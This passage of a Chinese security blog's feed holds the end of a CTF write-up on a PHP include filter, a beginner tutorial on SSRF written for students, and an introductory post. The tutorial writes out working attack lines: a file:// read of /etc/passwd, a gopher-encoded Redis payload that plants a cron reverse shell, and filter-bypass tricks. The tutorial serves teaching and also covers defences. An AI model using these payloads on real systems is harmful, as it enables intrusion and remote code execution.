class="line"><span class="keyword">while</span> (strstr($page, <span class="string">"php://"</span>)) { <span class="comment">//查询page参数中是否有php://,有的话返回page参数</span></span><br><span class="line"> $page=str_replace(<span class="string">"php://"</span>, <span class="string">""</span>, $page); <span class="comment">//将page参数中的 php:// 替换掉</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">include</span>($page); <span class="comment">//引用page</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// strstr()</span></span><br><span class="line"><span class="comment">// 定义和用法</span></span><br><span class="line"><span class="comment">// strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。</span></span><br><span class="line"><span class="comment">// 注释:该函数是二进制安全的。</span></span><br><span class="line"><span class="comment">// 注释:该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// strstr(string,search,before_search)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 参数描述</span></span><br><span class="line"><span class="comment">// string</span></span><br><span class="line"><span class="comment">// 必需。规定被搜索的字符串。</span></span><br><span class="line"><span class="comment">// search</span></span><br><span class="line"><span class="comment">// 必需。规定要搜索的字符串。如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。</span></span><br><span class="line"><span class="comment">// before_search</span></span><br><span class="line"><span class="comment">// 可选。一个默认值为 "false" 的布尔值。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。</span></span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><h2 id="结语">结语</h2><p>这部分wp到这就结束了,其实之前也有想过,这样的wp网上到处都是,何必要重写呢?后面想想,如果把题目wp放在一起,并且能够把相应的知识点提一下还是挺不错的,至少看起来对于我实验室的同学们来说提升得挺快的,全篇没有给出flag,甚至有的题只给了个思路,但是我觉得这样就可以了,看wp看到就是思路,看着自己没想到的思路去做题复现,也许更容易把题目吃透吧?如果有什么不明白的,或者有什么更好的思路,或者想一起学习,欢迎<a href="mailto:xiaoz34130@gmail.com">邮件联系</a>。</p>]]></content>
<summary type="html">
xctf上的oj对ctf新手来说,算是比较友好的,由浅入深的题目,除了有一些脑洞题外,其他基本都还算是可以的,给实验室的ctf队伍做讲解交流,也是一直推荐大家去刷一下,出了新手村,把进阶题做好,基本对于一些常见的漏洞和题型能够有了解了。趁着有时间,整理一下之前的wp放上来,不仅可以提供给实验室同学参考,也希望能给其他想做这个平台上题目的人一些帮助。不过,做CTF题,还是建议先自己想,自己钻研,把能想的都想透,实在没办法了再看wp,给自己一些提示,然后继续去做,做完自己尝试复现,这样才能把一道题目吃得更深更透。
</summary>
<category term="CTF_writeup" scheme="http://www.xiaozblog.top/categories/CTF-writeup/"/>
<category term="writeup" scheme="http://www.xiaozblog.top/tags/writeup/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
<category term="Web" scheme="http://www.xiaozblog.top/tags/Web/"/>
</entry>
<entry>
<title>SSRF简介-小白文</title>
<link href="http://www.xiaozblog.top/2019/09/15/SSRF%E7%AE%80%E4%BB%8B-%E5%B0%8F%E7%99%BD%E6%96%87/"/>
<id>http://www.xiaozblog.top/2019/09/15/SSRF%E7%AE%80%E4%BB%8B-%E5%B0%8F%E7%99%BD%E6%96%87/</id>
<published>2019-09-15T11:21:09.000Z</published>
<updated>2020-06-11T03:47:46.000Z</updated>
<content type="html"><![CDATA[<p>因为近期给实验室想做ctf web方向的同学做一些交流,所以回头对SSRF漏洞进行了一些总结和归纳,多数还是来自于网上的各种资料,部分为自己的一些理解。比较偏向基础,关于更加深入的东西,可以详看文中附的链接,分析些源码,复现下环境和攻击。</p><h2 id="漏洞简介">漏洞简介</h2><p>SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者利用服务器提供的访问接口或参数来控制服务器端发起请求的一个安全漏洞。一般来说,SSRF攻击的目标是外网无法访问的内网系统(文件、主机、端口等)。之所以能够对内网进行访问,因为服务端对外网攻击者开放,而服务端本身是处于内网中的,由服务器本身发起的请求对于内网中的系统一般来说都是有效的。<br>归根到底,SSRF形成的原因在于服务端没有对,目标地址做过滤和限制,并且服务端对外提供了从其他服务器或应用获取数据的功能,这就导致请求和目标地址不可控制,在攻击者的精心构造下,利用服务端发送伪造的请求,使用有缺陷的web应用作为代理对服务端的网络系统进行攻击。</p><p>一个例子:<br>在php中,使用Curl进行资源访问请求</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$ch = curl_init();</span><br><span class="line">curl_setopt($ch, CURLOPT_URL, $_GET[<span class="string">'url'</span>]);</span><br><span class="line"><span class="comment">#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);</span></span><br><span class="line">curl_setopt($ch, CURLOPT_HEADER, <span class="number">0</span>);</span><br><span class="line"><span class="comment">#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);</span></span><br><span class="line">curl_exec($ch);</span><br><span class="line">curl_close($ch);</span><br><span class="line"><span class="meta">?></span></span><br><span class="line"></span><br><span class="line">curl_init() <span class="comment">//初始化一个curl会话</span></span><br><span class="line">curl_setopt() <span class="comment">//设置一个curl传输选项</span></span><br><span class="line"> <span class="comment">//bool curl_setopt ( resource $ch , int $option , mixed $value )</span></span><br><span class="line"> <span class="comment">//ch:curl_init()返回的curl句柄</span></span><br><span class="line"> <span class="comment">//option:需要设置的CURLOPT_XXX选项</span></span><br><span class="line"> <span class="comment">//value:设置在option选项上的值</span></span><br><span class="line"> </span><br><span class="line">curl_exec() <span class="comment">//执行一个curl会话</span></span><br><span class="line">curl_close() <span class="comment">//关闭一个curl会话</span></span><br><span class="line"></span><br><span class="line">CURLOPT_URL <span class="comment">//需要获取的URL地址,也可以在curl_init()函数中设置</span></span><br><span class="line">CURLOPT_FOLLOWLOCATION <span class="comment">//启用时可将服务器返回的'Location'放在header递归</span></span><br><span class="line"> <span class="comment">//的返回给服务使用CURLOPT_MAXREDIRS可以限定递归返回的数量</span></span><br><span class="line"> </span><br><span class="line">CURLOPT_HEADER <span class="comment">//启用时会将头文件的信息作为数据流输出</span></span><br><span class="line">CURLOPT_PROTOCOLS <span class="comment">//CURLPROTO_*的位域指,使用时可限定libcurl在传输过冲中可以</span></span><br><span class="line"> <span class="comment">//使用的协议</span></span><br><span class="line">CURLPROTO_HTTP <span class="comment">//指定libcurl使用http协议</span></span><br><span class="line">CURLPROTO_HTTPS <span class="comment">//指定libcurl使用https协议</span></span><br></pre></td></tr></table></figure><p>在上面的例子中,服务器允许用户通过指定URL,服务端使用curl发起网络请求后返回客户端,请求加载文件。<br>这利用上述代码的一个很简单的SSRF的例子,通过使用file协议访问服务端的其他数据文件:<br><a href="http://127.0.0.1/ssrf.php?url=file:///c:%5CUsers%5Ch%5CDesktop%5Chello.txt" target="_blank" rel="noopener">http://127.0.0.1/ssrf.php?url=file:///c:\Users\h\Desktop\hello.txt</a></p><p>综上,其实SSRF漏洞的根源在于对于请求没有进行过滤,从而导致攻击者可以利用服务端的web应用访问其他非授权的信息或文件</p><h2 id="SSRF主要攻击面">SSRF主要攻击面</h2><p>主要可实施的攻击<br>1.对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息(软件开发商,软件名称、版本、服务类型等信息,通过这些信息可以使用某些工具直接去使用相对应的exp去攻击);<br>2.对内网或本地的应用程序进行攻击,攻击方式可能是溢出;<br>3.对内网的web应用进行指纹识别,通过访问默认文件实现;<br>4.攻击内网的web应用,主要为使用GET参数就可以进行的攻击(比如sqli、strusts2等);<br>5.利用file协议读取本地文件等。</p><h2 id="SSRF漏洞出现的场景">SSRF漏洞出现的场景</h2><h3 id="漏洞出现的场景">漏洞出现的场景</h3><p>1.能够对外发起网络请求的地方,就可能存在SSRF漏洞;<br>2.从远程服务器请求资源(Upload from URL, Import & Export RSS Feed);<br>3.数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB);<br>4.Webmail收取其他邮箱插件(POP3、IMAP、SMTP);<br>5.文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)。</p><h3 id="漏洞出现点">漏洞出现点</h3><p>1.分享:通过URL地址分享网页内容<br>2.转码服务<br>3.在线翻译<br>4.图片加载与下载:通过URL地址加载或下载图片<br>5.图片、文章收藏功能<br>6.未公开的api实现以及其他调用URL的功能<br>7.从URL关键字中寻找</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">share </span><br><span class="line">wap </span><br><span class="line">url</span><br><span class="line">file</span><br><span class="line">link </span><br><span class="line">src </span><br><span class="line"><span class="built_in">source</span> </span><br><span class="line">target </span><br><span class="line">u</span><br><span class="line">3g </span><br><span class="line">display </span><br><span class="line">sourceURl </span><br><span class="line">imageURL </span><br><span class="line">domain</span><br><span class="line">page</span><br><span class="line">file </span><br><span class="line">...</span><br></pre></td></tr></table></figure><h2 id="PHP中容易造成漏洞的函数">PHP中容易造成漏洞的函数</h2><figure class="highlight php"><table><tr><td class="code"><pre><span class="line">curl_exec() <span class="comment">//执行curl命令</span></span><br><span class="line">file_get_contents() <span class="comment">//读取文件到字符串中</span></span><br><span class="line">fsockopen() <span class="comment">//打开一个网络连接或者一个Unix套接字连接</span></span><br></pre></td></tr></table></figure><h3 id="curl-exec">curl_exec()</h3><p>参考上文</p><h3 id="file-get-contents">file_get_contents()</h3><p>参考:<a href="https://www.php.net/manual/en/function.file-get-contents.php" target="_blank" rel="noopener">https://www.php.net/manual/en/function.file-get-contents.php</a><br>格式:<br>file_get_contents(path,include_path,context,start,max_length)</p><p>与file()函数类似,但是这个函数可以从指定的开始位置读取指定长度的文件数据,并将文件读取成字符串中输出,如果读取失败,则返回FALSE。另外,如果操作系统支持,该函数可以使用内存映射来改善性能。<br>另:如果打开的URL中有特殊字符,则需要使用 urldecode() 进行URL编码<br>参数说明:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">path <span class="comment">#必需,请求的文件名</span></span><br><span class="line">include_path <span class="comment">#可选,如果需要在include_path(在 php.ini 中)中搜索文件的话,需要设置该参数为 '1'。</span></span><br><span class="line">context <span class="comment">#可选,规定文件上下文句柄,context是一套可以修改流行为的选项,不使用可跳过</span></span><br><span class="line">start <span class="comment">#可选,规定文件中开始读取的位置,从PHP 5.1开始使用</span></span><br><span class="line">max_length <span class="comment">#可选,规定读取的字节数,从PHP5.1开始使用</span></span><br></pre></td></tr></table></figure><h3 id="fsockopen">fsockopen()</h3><p>参考:<a href="https://www.php.net/manual/zh/function.fsockopen.php" target="_blank" rel="noopener">https://www.php.net/manual/zh/function.fsockopen.php</a></p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="comment">//格式:</span></span><br><span class="line">fsockopen ( string $hostname [, int $port = <span class="number">-1</span> [, int &$errno [, string &$errstr [, float $timeout = ini_get(<span class="string">"default_socket_timeout"</span>) ]]]] ) : resource</span><br><span class="line"></span><br><span class="line"><span class="comment">//初始化一个套接字连接到指定主机(hostname)。</span></span><br><span class="line"><span class="comment">//PHP支持以下的套接字传输器类型列表 所支持的套接字传输器(Socket Transports)列表。也可以通过stream_get_transports()来获取套接字传输器支持类型。</span></span><br><span class="line"><span class="comment">//参数说明:</span></span><br><span class="line">hostname <span class="comment">//如果安装了Openssl,则需要在主机名前添加访问协议ssl://或tls://,从而可以使用基于Openssl的客户端连接到远程主机</span></span><br><span class="line">port <span class="comment">//端口号,如果将其设置为-1,则表示不使用端口,例如 unix://</span></span><br><span class="line">errno <span class="comment">//如果errno返回值为0,则说明函数返回值为FALSE,错误发生在套接字连接调用之前,最可能的错误是在初始化套接字时发生了错误</span></span><br><span class="line">errstr <span class="comment">//错误信息将以字符串的形式返回</span></span><br><span class="line">timeout <span class="comment">//设置连接的时限,单位为s</span></span><br><span class="line"> <span class="comment">//如果要对套接字上的读写操作设置时间,使用straek_set_timeout(),timeout参数只用于套接字连接</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//返回值:</span></span><br><span class="line"><span class="comment">//fsockopen()将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets(),fgetss(),fwrite(),fclose()还有feof())。如果调用失败,将返回FALSE。</span></span><br><span class="line"><span class="comment">//错误:</span></span><br><span class="line"><span class="comment">//如果host不可访问,则抛出一个警告级别(E_WARNING)的错误提示。</span></span><br></pre></td></tr></table></figure><h2 id="常见可利用协议">常见可利用协议</h2><p>常用协议参考:<br><a href="https://3wapp.github.io/WebSecurity/%E5%B8%B8%E8%A7%81%E5%8D%8F%E8%AE%AE.html" target="_blank" rel="noopener">https://3wapp.github.io/WebSecurity/常见协议.html</a></p><p>一些常见的可利用的协议</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">FILE <span class="comment">#读取服务器上任意文件内容</span></span><br><span class="line">IMAP/IMAPS/POP3SMTP/SMTPS <span class="comment">#爆破邮件用户名密码</span></span><br><span class="line">FTP/FTPS <span class="comment">#FTP匿名访问、爆破</span></span><br><span class="line">DICT <span class="comment">#操作内网Redis等服务,扫描端口信息</span></span><br><span class="line">GOPHER <span class="comment">#能够将所有操作转成数据流,并将数据流一次发出去,可以用来探测内网的所有服务的所有漏洞</span></span><br><span class="line">TFTP <span class="comment">#UDP协议扩展</span></span><br></pre></td></tr></table></figure><h3 id="dict">dict</h3><p>词典服务器协议(DICT)是基于TCP事务的查询/响应协议,它允许客户端从一组自然语言词典数据库访问词典定义。<br>DICT协议旨在提供对多个数据库的访问。可以请求单词定义,可以搜索单词索引(使用一组容易扩展的算法),可以提供有关服务器的信息(例如,支持哪些索引搜索策略,或者哪些数据库可用),以及信息可以提供有关数据库的信息(例如版权,引用或发行信息)。此外,DICT协议具有可用于限制对某些或所有数据库的访问的挂钩。</p><p>协议格式:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n></span><br><span class="line">dict://<user>;<auth>@<host>:<port>/m:<word>:<database>:<strat>:<n></span><br></pre></td></tr></table></figure><p>其中,"/d" 语法指定DEFINE命令(RFC-2229 3.2节),而 “/m” 指定MATCH命令(RFC-2229 3.3节)。<br>“<user>;<auth>@”,":<port>","<database>","<strat>“和”<n>“中的某些或全部可能省略<br>通常省略”<n>",表示指定查询单词的第n个定义或匹配项。</p><p>如果省略 “<user>;<auth>@”,则不进行身份验证<br>如果省略 “: <port>“,则应使用默认端口2628<br>如果省略 " <database>" ,”!” 应该使用(见3.2节)<br>如果省略 “<strat>”,则为 “.” 应该使用(请参阅第3.3节)</p><p>“<user>; <auth> @” 指定用户名和执行的身份验证类型。<br>对于 “<auth>”,字符串 “AUTH” 指示将执行使用AUTH命令的APOP身份验证</p><p>字符串 “SASLAUTH = <auth_type>” 指示将使用SASLAUTH 和SASLRESP命令,其中 “<auth_type>” 表示将使用的SASL身份验证类型。如果为 “<auth_type>”</p><p>末尾的冒号可以省略,例如以下URL,可能指定定义或匹配项:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dict://dict.org/d:shortcake:</span><br><span class="line">dict://dict.org/d:shortcake:*</span><br><span class="line">dict://dict.org/d:shortcake:wordnet:</span><br><span class="line">dict://dict.org/d:shortcake:wordnet:1</span><br><span class="line">dict://dict.org/d:abcdefgh</span><br><span class="line">dict://dict.org/d:sun</span><br><span class="line">dict://dict.org/d:sun::1</span><br><span class="line"></span><br><span class="line">dict://dict.org/m:sun</span><br><span class="line">dict://dict.org/m:sun::soundex</span><br><span class="line">dict://dict.org/m:sun:wordnet::1</span><br><span class="line">dict://dict.org/m:sun::soundex:1</span><br><span class="line">dict://dict.org/m:sun:::</span><br></pre></td></tr></table></figure><h3 id="file">file</h3><p>本地文件传输协议,File Protocol。主要用于访问本地计算机中的文件。在ssrf中,可以利用其访问服务端本机的文件,在<br>参考:MSDN File Protocol<br>file协议的基本格式如下:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">file:///文件路径</span><br></pre></td></tr></table></figure><p>比如需要打开E盘下txt目录中的index.txt,那么在资源管理器或者浏览器地址栏中输入:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">file:///E:/txt/index.txt</span><br></pre></td></tr></table></figure><p>用file:///+文件地址,其实等价于文件的地址。即:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">file:///C:/Users/CLi/AppData/Local/Temp/WindowsLiveWriter1627300719/supfiles52F410/wangdan-se-436963[2].jpg</span><br></pre></td></tr></table></figure><p>等价于:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">C:/Users/CLi/AppData/Local/Temp/WindowsLiveWriter1627300719/supfiles52F410/wangdan-se-436963[2].jpg</span><br></pre></td></tr></table></figure><p>URI中为什么本地文件file后面跟三个斜杠?<br>URI的结构为:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">scheme:[//[user:password@]host[:port]][/]path[?query][<span class="comment">#fragment]</span></span><br></pre></td></tr></table></figure><p>如果有host,前面需要加//,因此对于http或https等网络地址来说会写成:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">https://blog.csdn.net/lishanleilixin/article/category/7191777</span><br></pre></td></tr></table></figure><p>这样看上去很自然。如果是文件的话,文件没有host,所以中间的host部分就不要了,就变成了:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">file:///lishanleilixin/article/category/7191777</span><br></pre></td></tr></table></figure><p>因为如果没有host的话,第一个[]的内容就不存在了,这种同意的写法有一个标准叫CURIE。</p><h3 id="gopher">gopher</h3><p>Gopher 协议在SSRF中属于万金油,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。<br>Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在ssrf时常常会用到gopher协议构造post包来攻击内网应用。其实构造方法很简单,与http协议很类似。<br>不同的点在于gopher协议没有默认端口,所以需要指定web端口,而且需要指定post方法。回车换行使用%0d%0a。注意post参数之间的&分隔符也要进行url编码。<br>总得来说,在SSRF中,基于 TCP Stream 且不做交互的点都可以进行攻击利用。利用Gopher将进行构造的TCP数据流发送到服务端实现攻击。<br>基本协议格式:</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流</span><br></pre></td></tr></table></figure><h2 id="利用方式">利用方式</h2><p>以上面的php代码为例</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#利用file协议任意文件读取</span></span><br><span class="line">curl -v <span class="string">'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#利用dict协议查看端口</span></span><br><span class="line">curl -v <span class="string">'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#利用gopher协议反弹shell</span></span><br><span class="line">curl -v <span class="string">'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'</span></span><br></pre></td></tr></table></figure><p>对上述进行防御<br>使用下面代码:<br>限制协议为HTTP、HTTPS<br>设置跳转重定向为True(默认不跳转)</p><figure class="highlight php"><table><tr><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">curl</span><span class="params">($url)</span></span>{</span><br><span class="line"> $ch = curl_init();</span><br><span class="line"> curl_setopt($ch, CURLOPT_URL, $url);</span><br><span class="line"> curl_setopt($ch, CURLOPT_FOLLOWLOCATION, <span class="keyword">True</span>);</span><br><span class="line"> <span class="comment">// 限制为HTTPS、HTTP协议</span></span><br><span class="line"> curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);</span><br><span class="line"> curl_setopt($ch, CURLOPT_HEADER, <span class="number">0</span>);</span><br><span class="line"> curl_exec($ch);</span><br><span class="line"> curl_close($ch);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$url = $_GET[<span class="string">'url'</span>];</span><br><span class="line">curl($url);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>此时dict协议无效,但是可以利用302跳转来绕过http限制</p><h2 id="常见的过滤与绕过">常见的过滤与绕过</h2><h3 id="常见的过滤">常见的过滤</h3><p>过滤开头不是http://xxx.com的所有链接<br>过滤格式为ip的链接,比如127.0.0.1<br>结尾必须是某个后缀</p><h3 id="绕过方法">绕过方法</h3><p>http基础认证<br><a href="http://xxx.com@attacker.com" target="_blank" rel="noopener">http://xxx.com@attacker.com</a><br>利用302跳转(<a href="http://xip.io" target="_blank" rel="noopener">xip.io</a>,<a href="http://www.tinyrul.com" target="_blank" rel="noopener">www.tinyrul.com</a>)<br>• 当我们访问xip.io的子域,比如127.0.0.1.xip.io的时候,实际上会被自动重定向到127.0.0.1<br>• 如果利用上面的方法会被检测127.0.0.1的话,可以利用www.tinyurl.com提供的服务来进行绕过<br>加上#或?即可<br>更改其他进制的ip</p><h2 id="防范方法">防范方法</h2><p>• 限制协议为HTTP、HTTPS<br>• 不用限制302重定向<br>• 设置URL白名单或者限制内网IP</p><h2 id="参考">参考</h2><p>SSRF详解:<br><a href="https://damit5.com/2018/05/26/SSRF-%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/" target="_blank" rel="noopener">https://damit5.com/2018/05/26/SSRF-漏洞学习/</a><br><a href="https://wcute.github.io/2018/12/12/SSRF%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/" target="_blank" rel="noopener">https://wcute.github.io/2018/12/12/SSRF漏洞学习/</a><br><a href="https://www.jianshu.com/p/86bb349baac1" target="_blank" rel="noopener">https://www.jianshu.com/p/86bb349baac1</a></p><p>SSRF环境复现:<br><a href="https://forum.90sec.com/t/topic/176" target="_blank" rel="noopener">https://forum.90sec.com/t/topic/176</a><br>进阶环境搭建:<br><a href="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" target="_blank" rel="noopener">https://github.com/incredibleindishell/SSRF_Vulnerable_Lab</a></p><p>Gopher-SSRF-redis:<br><a href="https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/" target="_blank" rel="noopener">https://www.smi1e.top/gopher-ssrf攻击内网应用复现/</a><br>Gopher-SSRF-MYSQL:<br><a href="http://shaobaobaoer.cn/archives/643/gopher-8de8ae-ssrf-mysql-a0e7b6" target="_blank" rel="noopener">http://shaobaobaoer.cn/archives/643/gopher-8de8ae-ssrf-mysql-a0e7b6</a><br>利用Gopher扩展攻击面:<br><a href="https://blog.chaitin.cn/gopher-attack-surfaces/" target="_blank" rel="noopener">https://blog.chaitin.cn/gopher-attack-surfaces/</a></p>]]></content>
<summary type="html">
关于SSRF的一些简单介绍,一些常见的攻击场景和攻击面,比较偏向基础。因为近期给实验室想做ctf web方向的同学做一些交流,所以回头对SSRF漏洞进行了一些总结和归纳,多数还是来自于网上的各种资料,部分为自己的一些理解。比较偏向基础,关于更加深入的东西,可以详看文中附的链接,分析些源码,复现下环境和攻击。
</summary>
<category term="Web漏洞介绍" scheme="http://www.xiaozblog.top/categories/Web%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
<category term="Web漏洞" scheme="http://www.xiaozblog.top/tags/Web%E6%BC%8F%E6%B4%9E/"/>
<category term="SSRF" scheme="http://www.xiaozblog.top/tags/SSRF/"/>
</entry>
<entry>
<title>写在前面</title>
<link href="http://www.xiaozblog.top/2019/09/03/%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2/"/>
<id>http://www.xiaozblog.top/2019/09/03/%E5%86%99%E5%9C%A8%E5%89%8D%E9%9D%A2/</id>
<published>2019-09-03T11:40:56.000Z</published>
<updated>2020-06-11T02:09:00.000Z</updated>
<content type="html"><![CDATA[<p>终于,又回来了!</p><p>上次博客更新,还是在CSDN上,后续想自己搭建个博客,又因为各种原因没搭起来(归根到底还是懒…)<br>其实也不是没有写博客,很多内容都还静静躺在电脑硬盘里…<br>终于,现在终于狠下心弄好了,可以把之前积累的一些东西陆陆续续整理下发出来了。</p><h2 id="为什么写博客?">为什么写博客?</h2><p>为了记录,为了对自己所学的梳理,也是为了能够给其他人提供一些参考和帮助。</p><p>记得最开始在CSDN上写博客,也没想那么多,还是因为班上同学间常会交流一些问题,有的时候自己嘴太笨,和大家挨个讲经常会有讲不清楚的地方,于是总觉得自己得有个地方,能够将这些学到的以及遇到的一些知识和问题记录下来,也能够给希望了解一些东西的同学或朋友一个也许能够获得参考的地方,于是,开始在CSDN上有了自己的博客。</p><p>但是令我没想到的是,自己写的这些东西,本来一直以为自己写的内容粗浅不堪琢磨,纯粹为了给同学间交流的内容,后来还是有挺多人看的,估计对于他们,那些文章多少还是能够有些帮助吧。</p><p>我想,博客的作用与价值,于自己而言,应该是通过梳理和记录,帮助自己更好地提升,加深自己的理解;而更大的价值在于,或许和自己志同道合的人能够在这里得到一些参考,一些启发,一些帮助?</p><h2 id="为什么不在CSDN上了?">为什么不在CSDN上了?</h2><p>确切地说,是因为想要有一个属于自己的空间,能够自己DIY的空间。而自己搭建博客,无疑是一个最好最符合的方法,不管是内容的书写上,还是页面的设计,以及空间和域名,都可以自己DIY,或许自己创造的才是最好的?</p><h2 id="That’s-all-欢迎来到这里,希望能够对你有所帮助。">That’s all, 欢迎来到这里,希望能够对你有所帮助。</h2>]]></content>
<summary type="html">
终于,又回来了!
</summary>
</entry>
</feed>